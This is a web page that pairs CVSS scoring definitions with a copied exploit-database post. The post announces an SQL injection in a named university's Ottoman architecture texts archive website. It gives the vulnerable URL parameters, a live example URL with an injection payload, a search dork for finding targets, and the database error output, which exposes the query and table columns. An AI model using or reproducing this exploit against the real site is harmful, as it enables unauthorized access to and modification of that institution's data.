The vulnerable system is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). An example of a network attack is an attacker causing a denial of service by sending a specially crafted TCP packet across a wide area network (e.g., CVE-2004-0230).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
User Interaction
None
UI
The vulnerable system can be exploited without interaction from any human user, other than the attacker. Examples include: a remote attacker is able to send packets to a target system a locally authenticated attacker executes code to elevate privileges
Scope
Unchanged
S
An exploited vulnerability can only affect resources managed by the same security authority. In the case of a vulnerability in a virtualized environment, an exploited vulnerability in one guest instance would not affect neighboring guest instances.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: stanbul Technical University Ottoman Architecture Texts Archives SQL Injection
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# Exploit Title : stanbul Technical University Ottoman Architecture Texts Archives SQL Injection
# Author [ Discovered By ] : KingSkrupellos
# Team : Cyberizm Digital Security Army
# Date : 19/01/2020
# Vendor Homepage : omma.itu.edu.tr
# Tested On : Windows and Linux
# Category : WebApps
# Exploit Risk : Medium
# Google Dorks : Osmanl Mimarlk Metinleri Arivi site:itu.edu.tr
# Vulnerability Type : CWE-89 [ Improper Neutralization of
Special Elements used in an SQL Command ('SQL Injection') ]
# PacketStormSecurity : packetstormsecurity.com/files/authors/13968
# CXSecurity : cxsecurity.com/author/KingSkrupellos/1/
# Exploit4Arab : exploit4arab.org/author/351/KingSkrupellos
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# Impact :
***********
stanbul Technical University Ottoman Architecture Texts Archives is prone to an
SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data
before using it in an SQL query. Exploiting this issue could allow an attacker to compromise
the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
A remote attacker can send a specially crafted request to the vulnerable application and
execute arbitrary SQL commands in application`s database. Further exploitation of this
vulnerability may result in unauthorized data manipulation.
An attacker can exploit this issue using a browser or with any SQL Injector Tool.
###################################################################
# SQL Injection Exploit :
**********************
/index.php?s=arsiv-list&ka=1[]&ek[]=[SQL Injection]
###################################################################
# Example Vulnerable Sites :
*************************
[+] omma.itu.edu.tr/index.php?s=arsiv-list&ka=1[]&ek[]=1%27
###################################################################
# Example SQL Database Error :
****************************
Query: select veri_id,arsiv,konu_alani,eser_kategorisi,eser_adi,yazarlar,cografyasi,
yazim_uretim_teknigi,yy,arsiv_kutuphane,genel_fizik_yapisi,uslup_ozellikleri,
icerigi_ve_strukturu,etkiler_etkilenmeler,yorum,yeniden_uretimleri,hakkinda,anahtar_kelimeler
from veriler where arsiv='1' and konu_alani in() and eser_kategorisi in()
Error: You have an error in your SQL syntax; check the manual that corresponds to your
MariaDB server version for the right syntax to use near ') and eser_kategorisi in()' at line 1
You have an error in your SQL syntax; check the manual that corresponds to your MariaDB
server version for the right syntax to use near ') and eser_kategorisi in()' at line 1
###################################################################
# Discovered By KingSkrupellos from Cyberizm.Org Digital Security Team
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